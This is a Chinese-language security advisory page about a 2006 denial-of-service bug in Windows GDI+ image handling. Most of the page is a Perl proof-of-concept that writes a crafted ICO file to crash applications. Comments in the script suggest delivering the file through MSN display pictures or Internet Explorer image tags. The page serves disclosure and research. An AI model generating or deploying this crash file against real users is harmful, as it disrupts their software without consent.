首页 -> 安全研究
安全研究
安全漏洞
Microsoft Windows GDI+库PNG图像处理拒绝服务漏洞
发布日期：2006-07-29
更新日期：2006-07-31
受影响系统：
Microsoft Windows XP SP2描述：
Microsoft Windows XP SP1
Microsoft Windows XP
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2003
BUGTRAQ ID: 19221
Microsoft Windows是微软发布的非常流行的操作系统。
Microsoft Windows GDI+库gdiplus.dll没有正确的处理畸形格式的PNG图形，远程攻击者可能利用此漏洞导致处理畸形PNG图像的应用崩溃。
如果本地或远程用户受骗打开了特制图形的话，就会触发这个漏洞，导致拒绝服务。
<*来源：Mr. Niega （Mr.Niega@gmail.com）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=115419758119458&w=2
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
# 0-day crash poc gdiplus.dll by Mr.Niega
# Check out hex offset 2e play with the 2byte's, #set it to 20 if you want a non \
crashing ico file # [Division by zero]
# this POC tested with:
# win XP ENG sp2
# And for SYS 49152 im that 0daysec guy ;)
#
#Rename Poc.ico to Poc.png and have it as display #picture =) ??? Msn messenger
# Also use it to crash ie <img dynsrc="Poc.jpg">
# Credits : MarjinZ , SYS 49152
my $all =
"\x00\x00\x01\x00\x02\x00\x10\x10\x00\x00\x00\x00\x00\x00\x68\x05\x00\x00\x26\x00\x00\ \
x00\x20\x20\x00\x00\x00\x00\x00\x00\xA8\x08\x00\x00\x8E\x05\x00\x00\x28\x00\x00\x00\x1 \
0\x00\x00\x01\x01\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00\x40\x01\x00\x00\x00\x00" \
. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xF \
F\x00\x27\x6A\xE6\x00\x8C\xBC\xEF\x00\x27\x38\x6C\x00\x57\x74\xA1\x00\x08\x13\x3F\x00\ \
x1F\x52\xAA\x00\x61\x91\xE3\x00\x48\x5B\x7E\x00\x3B\x7C\xBF\x00\x04\x3A\x9A\x00\x79\x9 \
5". "\xC5\x00\x31\x86\xFC\x00\x17\x65\xC6\x00\x1F\x30\x4C\x00\xA0\xD1\xFF\x00\x42\x7F\ \
xDF\x00\x2C\x4C\x85\x00\x09\x2E\x65\x00\x7C\xA3\xE1\x00\x07\x09\x1D\x00\x3A\x61\xA8\x0 \
0\x58\x86\xC2\x00\x0E\x42\x80\x00\x1B\x41\x96\x00\x2B\x6B\xB6\x00\x46\x72\xAD\x00\x35\ \
x56". "\x97\x00\x50\x90\xD7\x00\x0A\x1C\x51\x00\x7A\xB3\xED\x00\x0A\x15\x2C\x00\x28\x6 \
0\xCD\x00\x37\x73\xD6\x00\x0F\x4D\xA3\x00\x46\x6E\xC1\x00\x25\x40\x7B\x00\x0E\x23\x42\ \
x00\x56\x7B\xB6\x00\x45\x79\xD0\x00\x3B\x65\xB9\x00\x72\x99\xD3\x00\x02\x00\x10\x00\x4 \
B\x6B". "\x9D\x00\x8E\xB6\xE1\x00\x0C\x34\x7A\x00\x18\x56\x9B\x00\x1B\x22\x4A\x00\x12\ \
x1C\x36\x00\x36\x4D\x7B\x00\x1C\x48\x82\x00\x2B\x77\xE5\x00\x39\x51\x8B\x00\x87\xAB\xE \
4\x00\x1A\x38\x6F\x00\x31\x7A\xC7\x00\x18\x38\x7C\x00\x15\x4D\xB0\x00\x1D\x2D\x58\x00\ \
x1F\x32". "\x65\x00\x46\x68\xB4\x00\x4A\x77\xBA\x00\x2F\x6E\xC1\x00\x2A\x62\xAE\x00\x1 \
0\x16\x47\x00\x13\x28\x64\x00\x61\x84\xC9\x00\x5A\x75\xAC\x00\x1A\x4C\x93\x00\x41\x66\ \
x9F\x00\x0C\x3F\x94\x00\x05\x20\x5A\x00\x32\x5D\x9F\x00\x1D\x28\x41\x00\x14\x3C\x87\x0 \
0\x6A\x93". "\xD7\x00\x53\x7B\xC0\x00\x39\x74\xCA\x00\x05\x0D\x28\x00\x27\x3C\x63\x00\ \
x3C\x7B\xD5\x00\x08\x1C\x44\x00\x75\xAE\xE7\x00\x4E\x7F\xB8\x00\x0A\x2D\x6E\x00\x32\x4 \
C\x8E\x00\x00\x04\x1B\x00\x30\x47\x7D\x00\x05\x19\x3A\x00\x03\x03\x07\x00\x10\x32\x64\ \
x00\x52\x74". "\xAB\x00\x26\x41\x83\x00\x72\x99\xDB\x00\x04\x07\x13\x00\x06\x12\x32\x0 \
0\x16\x25\x45\x00\x2C\x41\x78\x00\x4A\x74\xC3\x00\x11\x1D\x45\x00\x0B\x11\x26\x00\x04\ \
x12\x45\x00\x26\x66\xD0\x00\x0C\x17\x3B\x00\x34\x53\x8F\x00\x0A\x38\x9C\x00\x84\xA6\xE \
1\x00\x78\x9A". "\xD5\x00\x34\x51\x87\x00\x12\x1E\x3C\x00\x21\x2F\x54\x00\x5A\x7B\xAC\ \
x00\x0D\x3D\x7D\x00\x37\x5E\xA2\x00\x0B\x16\x44\x00\x11\x2B\x60\x00\x00\x00\x0A\x00\x0 \
5\x10\x3C\x00\x03\x07\x18\x00\x73\x9C\xD7\x00\x56\x7C\xBB\x00\x36\x4E\x80\x00\x08\x0D\ \
x24\x00\x00\x00". "\x05\x00\x03\x10\x2B\x00\x9E\xCD\xFE\x00\x11\x20\x41\x00\x20\x35\x6 \
8\x00\x79\xA1\xE3\x00\x03\x09\x1D\x00\x04\x0B\x25\x00\x07\x13\x43\x00\x0B\x19\x3E\x00\ \
x0E\x17\x42\x00\x55\x73\xA9\x00\x0B\x13\x29\x00\x01\x03\x0B\x00\x04\x0A\x1A\x00\x31\x5 \
2\x8E\x00\x03\x04". "\x1A\x00\x30\x4A\x7C\x00\x02\x01\x03\x00\x00\x00\x0D\x00\x6C\x95\ \
xD8\x00\x08\x15\x45\x00\x0E\x21\x44\x00\x03\x00\x05\x00\x06\x0C\x26\x00\x11\x1A\x37\x0 \
0\x20\x54\xAB\x00\x0A\x40\x95\x00\x1E\x31\x67\x00\x33\x4D\x8C\x00\x02\x00\x01\x00\x03\ \
x06\x16\x00\x06\x0E". \
"\x24\x00\x08\x0F\x25\x00\x12\x1D\x38\x00\x12\x1E\x41\x00\x03\x02\x05\x00\x00\x00\x08\ \
x00\x05\x09\x19\x00\x01\x00\x02\x00\x02\x01\x05\x00\x02\x03\x0A\x00\x0C\x13\x28\x00\x0 \
7\x1D\x44\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x01\x00\x00\x00" \
. "\x06\x00\x03\x03\x06\x00\x01\x00\x0A\x00\x07\x0E\x24\x00\x05\x0D\x29\x00\x00\x00\x0 \
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 \
0". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 \
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \
x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 \
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 \
0\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 \
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \
x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 \
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 \
0\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7B\x94\xA2\ \
x5A\xAB\xAA\x32\x30\x0B\x0D\x1D\x45\x48\x8C\x8E\x00\xAD\x68\x73\x5A\xA8\x00\x0F\x35\x0 \
7\x34\x6A\x4B\x60\x00\xAB\x00\xA8\x9A\x06\x4F\x00\x00\x65\x58\x39\x40\x67\x02\x96\xA5\ \
xA8\x00\xA3". "\x00\x5F\x1E\x9C\x00\xAE\x7A\x41\x19\x11\x21\x22\x61\x00\x00\xA3\xA3\xA \
8\xB0\x84\x93\x7D\x27\x44\x29\x08\x3A\x4E\x6D\x00\x00\xA3\xA3\xAB\xA9\x2B\x13\x23\x3E\ \
x87\x43\x6B\x47\x3F\x79\xAC\x00\xA3\xA3\xA8\x8F\x71\x0E\x91\x3B\x1C\x6C\x0C\x97\x51\x9 \
0\x9D\x00\xA3". "\xA8\x89\x33\x38\x92\x76\x8D\x78\x36\x09\x55\x28\x81\x6E\x00\xA3\xA8\ \
x8A\x2F\x26\x83\x2E\x5C\x03\x2A\x31\x74\x63\x14\x95\x00\xA3\xA8\xA4\x18\x0A\x9F\x57\x7 \
0\x7E\x05\x20\x4D\x3D\x5E\x9E\x00\xA3\xAB\xA8\x59\x1A\x54\xA7\x17\x10\x4A\x00\x7F\x56\ \
x4C\x88\x00\xA3". "\xA3\xA8\x00\x5B\x53\x1F\x1B\x69\x52\x37\x5D\x24\x72\xA1\x00\xA3\xA \
3\xA3\x00\xAF\x2C\x2D\x46\x16\x49\x8B\x99\x42\x66\x15\x00\xA3\xA3\xA3\xAB\xA0\x9B\xA6\ \
x12\x50\x7C\xAA\x85\x86\x3C\x62\x00\xA3\xA3\xA3\xA3\xAB\x00\x77\x82\x75\x25\x80\x6F\x9 \
8\x64\x04\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\ \
x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x0 \
0\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\ \
x00\x00\x00\x80\x00". \
"\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\xFF\xFF\x00\x00\x28\x00\x00\x00\x20\x00\x00\ \
x00\x40\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00\x80\x04\x00\x00\x00\x00\x00\x00\x0 \
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00\x1F\x77" \
. "\xF2\x00\x34\x47\x6E\x00\x93\xB5\xEA\x00\x69\x82\xAD\x00\x00\x0C\x4E\x00\x11\x54\xA \
A\x00\x55\xAF\xF9\x00\x35\x7B\xC3\x00\x07\x31\x70\x00\x41\x5D\x9B\x00\x72\x97\xDD\x00\ \
x48\x8C\xE1\x00\x0B\x11\x28\x00\x17\x5A\xD5\x00\x1D\x26\x4B\x00\x10\x35\x92\x00\x8B\xA \
1". "\xC7\x00\x75\xBB\xFC\x00\xAC\xCA\xF2\x00\x50\x76\xCA\x00\x2D\x4C\x91\x00\x2A\x64\ \
xAF\x00\x1E\x3B\x5F\x00\x29\x6F\xD9\x00\x46\x69\xB5\x00\x63\x8E\xC9\x00\x7A\xAF\xE3\x0 \
0\x1E\x3A\x7C\x00\x59\xA3\xE4\x00\x53\x6D\x9B\x00\x09\x20\x5A\x00\x02\x04\x18\x00\x45\ \
x89". "\xCA\x00\x0D\x16\x3D\x00\x99\xC7\xF9\x00\x13\x4C\xC6\x00\x12\x62\xBC\x00\x40\x7 \
A\xDF\x00\x02\x04\x2E\x00\x11\x4D\x99\x00\x2D\x69\xC7\x00\x42\x53\x79\x00\x5F\x91\xE0\ \
x00\x69\xA5\xEB\x00\x0B\x40\x83\x00\x85\xA8\xDC\x00\x2D\x55\xA1\x00\x21\x53\xB9\x00\x5 \
E\x80". "\xBA\x00\x2D\x84\xF3\x00\x3F\x6D\xC9\x00\x21\x62\xE3\x00\x3F\x58\x8B\x00\x06\ \
x5C\xD0\x00\x52\x74\xB3\x00\x13\x41\xA5\x00\x16\x2C\x5E\x00\x1F\x50\xA4\x00\x56\x81\xD \
9\x00\x28\x74\xB6\x00\x4B\x9D\xEB\x00\x48\x77\xC0\x00\x23\x3D\x6F\x00\x3F\x66\xA9\x00\ \
x6C\x8A". "\xBD\x00\x0C\x0D\x14\x00\x17\x69\xD1\x00\x0C\x1E\x4B\x00\x7B\xB0\xF1\x00\x3 \
7\x4D\x87\x00\x60\x81\xC9\x00\x6B\x9A\xD0\x00\x04\x0F\x36\x00\x4E\x6E\xA7\x00\x24\x30\ \
x60\x00\x1B\x49\x92\x00\x9F\xBE\xE9\x00\x85\xB1\xE7\x00\x25\x46\x82\x00\x03\x33\x8D\x0 \
0\x7C\x9F". "\xD8\x00\x19\x32\x69\x00\x20\x6A\xB8\x00\x3B\x6B\xBE\x00\x43\x73\xAE\x00\ \
x49\x7E\xD5\x00\x31\x58\xAF\x00\x59\x96\xD7\x00\x0E\x2A\x65\x00\x66\x91\xD8\x00\x14\x3 \
F\x7C\x00\x81\xA6\xE7\x00\x1D\x59\xAE\x00\x21\x5B\xCD\x00\x6B\xB3\xFF\x00\x04\x08\x24\ \
x00\x86\xBA". "\xEE\x00\x38\x59\x93\x00\x0D\x27\x71\x00\x40\x8C\xD8\x00\x3B\x81\xC8\x0 \
0\x04\x04\x0C\x00\x99\xB4\xE0\x00\x30\x63\xA4\x00\x17\x1B\x37\x00\x13\x59\xA2\x00\x22\ \
x6E\xEA\x00\x26\x78\xD1\x00\x10\x26\x43\x00\x13\x3D\x8B\x00\x34\x75\xD8\x00\x5F\x8B\xB \
D\x00\x3A\x60". "\xB0\x00\x51\x88\xCA\x00\x06\x13\x44\x00\x75\xA5\xE1\x00\x2D\x45\x79\ \
x00\x14\x23\x56\x00\x0A\x38\x78\x00\x04\x2B\x65\x00\x3A\x80\xE8\x00\xA1\xCA\xF3\x00\x6 \
7\x98\xE0\x00\x5F\x89\xD4\x00\x29\x55\x90\x00\x50\x7A\xBA\x00\x93\xBD\xF4\x00\x11\x4F\ \
xBC\x00\x0A\x35". "\x9E\x00\x53\x8F\xD9\x00\x26\x65\xD5\x00\x3D\x71\xD7\x00\x2E\x63\xB \
7\x00\x0E\x43\x8A\x00\x0C\x2D\x55\x00\x11\x47\xAE\x00\x0A\x44\xA3\x00\x9E\xCE\xFF\x00\ \
x36\x59\x9E\x00\x43\x5C\x92\x00\x1D\x4F\x92\x00\x1B\x37\x72\x00\x9A\xC6\xF1\x00\x1B\x2 \
A\x57\x00\x2D\x40". "\x6F\x00\x0E\x58\xB6\x00\x29\x4E\x8A\x00\x24\x37\x68\x00\x07\x0C\ \
x1C\x00\x3D\x7D\xD5\x00\x11\x63\xCC\x00\x28\x46\x74\x00\x1E\x60\xD8\x00\x05\x19\x4C\x0 \
0\x12\x19\x48\x00\x4B\x70\xB5\x00\x6B\xA0\xE1\x00\x06\x0D\x2C\x00\x0E\x0E\x43\x00\x07\ \
x26\x4E\x00\x11\x4A". \
"\xA3\x00\x18\x4F\xA3\x00\x1A\x3E\x6C\x00\x0F\x3A\x80\x00\x5B\x7B\xB2\x00\x17\x50\xA9\ \
x00\x57\x85\xC6\x00\x25\x45\x8D\x00\x41\x70\xC2\x00\x6F\x93\xCC\x00\x8B\xAC\xDF\x00\x3 \
D\x7A\xC3\x00\x06\x07\x34\x00\x0A\x11\x33\x00\x27\x62\xA7\x00\x3C\x5F\xA1\x00\x81\xAE" \
. "\xE0\x00\x42\x73\xCB\x00\x42\x65\xA3\x00\x0C\x1C\x42\x00\x63\x8C\xCE\x00\x35\x6B\xC \
3\x00\x24\x5F\xB0\x00\x46\x6A\xAC\x00\x06\x18\x3C\x00\x13\x3F\x94\x00\x25\x67\xC4\x00\ \
x34\x65\xAB\x00\x0D\x23\x5E\x00\x24\x6E\xE2\x00\x2A\x69\xCF\x00\x11\x1B\x35\x00\x1B\x2 \
F". "\x60\x00\x57\x78\xC1\x00\x55\x87\xD5\x00\x11\x55\x99\x00\x20\x4E\x9C\x00\x05\x07\ \
x14\x00\x08\x11\x3D\x00\x18\x3D\x83\x00\x37\x53\x88\x00\x8B\xB1\xEB\x00\x11\x22\x4A\x0 \
0\x33\x52\x9B\x00\x68\x92\xD3\x00\x2F\x75\xB9\x00\x3D\x61\xB7\x00\x01\x01\x08\x00\x91\ \
xC4". "\xF2\x00\x09\x1E\x52\x00\x70\x9F\xE3\x00\x63\x8A\xC5\x00\x01\x01\x11\x00\x08\x0 \
8\x2A\x00\x74\x9B\xD7\x00\x2F\x50\x94\x00\x20\x2F\x58\x00\x09\x36\x8E\x00\x0C\x4A\xA0\ \
x00\x93\xBF\xED\x00\x11\x13\x37\x00\x39\x72\xCB\x00\x14\x5A\xAC\x00\x26\x4A\x93\x00\x3 \
6\x53". "\x8E\x00\x32\x5D\xA2\x00\x55\x80\xBE\x00\x8C\xB3\xE5\x00\x06\x2A\x71\x00\x3F\ \
x85\xD7\x00\x53\x80\xC9\x00\x7D\x9F\xDE\x00\x0E\x23\x57\x00\x0E\x32\x70\x00\x0C\x3A\x7 \
B\x00\x24\x6C\xD5\x00\x2C\x67\xD5\x00\x0E\x4C\xAA\x00\x3C\x68\xAC\x00\x2B\x58\xA6\x00\ \
x09\x13". "\x2D\x00\x75\xB3\xEF\x00\x0A\x27\x62\x00\x03\x3A\x8D\x00\x4F\x77\xB7\x00\x4 \
1\x66\xBA\x00\x08\x16\x46\x00\x77\xA3\xD9\x00\x01\x14\x51\x00\x7A\xA5\xE3\x00\x08\x28\ \
x57\x00\x6C\x94\xDE\x00\x07\x3B\x87\x00\x21\x60\xD2\x00\x00\xC7\xC7\x00\x00\x00\x00\x0 \
0\x00\x00". "\x00\x00\x00\x0E\xC3\x92\x00\xF8\xDB\x37\x33\x60\x13\x83\xB8\x87\x78\x20\ \
xC8\x61\x67\x00\x00\x96\xAF\xC8\x21\xD1\xD6\xC7\x00\x00\x00\x00\x00\xD1\x47\x8D\x61\x7 \
4\x8A\x02\x7A\x22\x59\xAD\x29\x2E\xF4\x28\xD6\x00\x00\x00\x00\x00\x00\xCC\xBE\x4A\xEA\ \
xC1\x00\x00". "\x00\x00\x00\x00\x18\x32\x4C\x28\x8A\x6C\x9A\x81\x4D\x5A\x9B\x9B\x4A\xD \
6\x00\x00\x00\x00\x00\x00\x00\x67\xCC\x74\x23\xC7\x00\x00\x00\x00\x00\x00\x6E\x4B\xB4\ \
x76\x11\xBF\x19\x0F\x82\x64\x6F\xF4\xD6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x67\xAF\xC \
8\x4A\x00\x00". "\x00\x00\x00\x00\x0E\x47\x76\x50\x3B\x08\x1E\xBB\x25\x84\x70\xED\xA5\ \
xD1\x00\x00\x00\x00\x00\x00\x00\x00\x00\xC7\x74\xBE\x96\x00\x00\x00\x00\x00\x21\x95\x3 \
6\x74\x6F\xA7\xB8\xA7\x70\x35\x5F\xFF\xC0\x45\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \
x61\xD3\xF8\x67". "\x00\x00\x00\x00\xD6\xCC\x32\x77\xF8\xA0\x11\xE7\x0D\x25\xEE\x5F\x7 \
0\xE1\xD1\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD1\xC8\x20\x45\xC7\x00\x00\x00\xD1\x23\ \
xA6\x40\x61\x9C\x39\x0D\x34\x85\x27\x89\x97\xAA\x9F\x00\x00\x00\x00\x00\x00\x00\x00\x0 \
0\x00\xC7\xF8\xBE". "\xD3\x96\x00\x00\x67\x61\x76\xA6\x4C\x64\x31\xB3\x57\x27\x31\xEF\ \
x97\x2C\xC2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9F\x74\x74\xC8\x21\x00\x21\xF \
4\xB6\x68\x1F\xBB\x34\xFD\x7C\xEE\x81\xA7\xB7\x2C\xD9\x00\x00\x00\x00\x00\x00\x00\x00\ \
x00\x00\x00\x67\x61". \
"\x61\x21\xD1\xF2\x87\xB8\xE8\xAC\x12\xA9\x7D\x5D\xCB\xAA\xDB\xFE\x5E\xD4\x3F\x21\x00\ \
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x67\xD1\xD6\xFC\x07\x07\xA3\xF0\xF9\x05\xCD\x5 \
B\x5D\x04\xB9\x51\xDC\x5E\xD4\x5B\xB5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
. "\x9F\xEC\x26\x98\x6F\x45\x41\xB1\x53\xA9\x0C\xAC\x04\x8C\xF5\x93\xBC\x9E\xFB\x53\x0 \
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x67\x9F\x78\x26\x44\xA3\xD7\xD6\x3A\x8D\xB4\x16\ \
xE9\x4E\xAC\x1D\xDC\xBC\x2A\x5B\x4F\xD9\xD1\x00\x00\x00\x00\x00\x00\x00\x00\x67\xC8\xE \
C". "\x54\x6D\xEC\xDE\xAE\x21\x45\x4B\xAB\xB1\x2F\x14\x42\x4A\xA2\x2A\xDF\x7D\xCB\x41\ \
x21\x00\x00\x00\x00\x00\x00\x00\xD1\x9F\x5C\x09\x3E\x8E\x67\x45\xBE\x4A\x50\xF9\xE5\x9 \
D\x2F\x14\xCA\x21\xC6\x86\xB7\x5B\x04\x9D\x61\x00\x00\x00\x00\x00\x00\x00\x21\x88\xCF\ \
x65". "\xB0\xC7\x96\x5A\x5C\x45\xB4\x1C\xDD\x7F\x2F\x4F\xB5\xD1\xC9\xF1\x55\xCE\xCB\x9 \
D\x61\x00\x00\x00\x00\x00\x00\x00\x67\xA1\x6B\x78\xD1\x00\xB5\xA5\x8E\x45\x38\x62\x90\ \
xE4\x2F\x38\x00\xD1\x20\x30\xF7\xCE\x04\xB9\x21\x00\x00\x00\x00\x00\x00\x00\xD1\xBA\x2 \
E\xC5". "\xA4\xC7\x9F\xD3\x4D\x45\x32\x90\x7B\x1B\xE5\x92\xD1\x40\xB1\x30\x1A\xB6\x04\ \
x4B\x21\x00\x00\x00\x00\x00\x00\x00\x00\xAF\x87\x3D\x1E\xBD\xD6\x21\x9F\x9F\xD5\x90\xD \
D\xB2\x52\x96\x21\x7F\x52\x1A\x1A\xC3\xCB\xF6\x21\x00\x00\x00\x00\x00\x00\x00\x00\x96\ \
xEC\x54". "\x09\x2D\x94\x00\xD1\x23\xD5\x4F\x4F\x80\xCA\x00\x00\x99\xF6\x1A\x16\x1A\x5 \
D\xB9\xD6\x00\x00\x00\x00\x00\x00\x00\x00\x67\xB5\x79\xE0\x73\x9E\xB5\x45\x0A\xA8\xD2\ \
x7B\x75\x4A\x00\x00\xD1\xCC\x45\xBE\x48\xFB\x63\xD1\x00\x00\x00\x00\x00\x00\x00\x00\x0 \
0\xC7\x61". "\x78\x66\x75\x59\x17\x69\xA8\x24\x8B\x63\x00\x00\xD1\xD1\xD6\xC8\xB1\x5B\ \
xD8\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xF2\x78\x56\x1C\x62\xF3\x71\x7E\x3 \
F\xB1\xAF\x9F\x45\xEB\xC9\xE1\x72\x15\xC4\xAA\xB5\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \
x00\x00\x96". "\x45\x76\x49\x90\x90\xB2\xE2\x06\xFA\xA5\x3B\x86\x55\x15\x15\xD0\x58\xB \
B\xE6\x61\xD1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD1\x61\x91\x4B\x4F\x7B\x2F\x50\ \
xF0\xE8\xC4\x3F\xF0\x8C\x0B\xE2\x1D\xEA\x4A\xC8\xD7\x61\x00\x00\x00\x00\x00\x00\x00\x0 \
0\x00\x00\x00". "\xC7\xF2\xDA\x40\x1F\x2B\x94\x46\x1B\x03\xC1\x96\xC7\xC7\x4A\x23\xAF\ \
xAF\x77\xC2\x9C\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xC7\x21\x00\xD1\xF2\xE \
3\x50\x45\x00\x00\x00\x00\x0E\x45\xF8\x45\x9C\x53\xE2\xE2\x9C\x00\x00\x00\x00\x00\x00\ \
x00\x00\x00\x00". "\x00\x00\x00\x00\x00\xC2\x3A\xD1\xC8\x00\xD6\xEA\xC7\x96\x53\x50\x7 \
7\x23\x40\x40\xE2\x4C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xC7\x45\ \
xD6\x00\x9F\x21\x1D\xE3\xC2\x00\x03\x0B\x77\xAF\x0E\x91\x95\x6A\x00\x00\x00\x00\x00\x0 \
0\x00\x00\x00\x00". "\x00\x00\x00\x00\x96\xD6\x00\x00\x00\xC2\x3C\x1A\x1A\x91\x43\x10\ \
x8F\x23\x61\x91\xC2\x0E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 \
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\ \
x00\x00\x00\x80\x00". \
"\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\ \
x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x8 \
0\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00" \
. "\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x0 \
0\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\ \
x80\x00\x00\x00\x80\x00\x00\x00\xFF\xFF\xFF\xFF";
open(Niega, ">Poc.ico") || die "Can't Write temporary File\n";
binmode (Niega);
print Niega $all;
close (Niega);
print "Peace out..\n";
建议：
厂商补丁：
Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.microsoft.com/technet/security/
浏览次数：5750
严重程度：0（网友投票）
绿盟科技给您安全的保障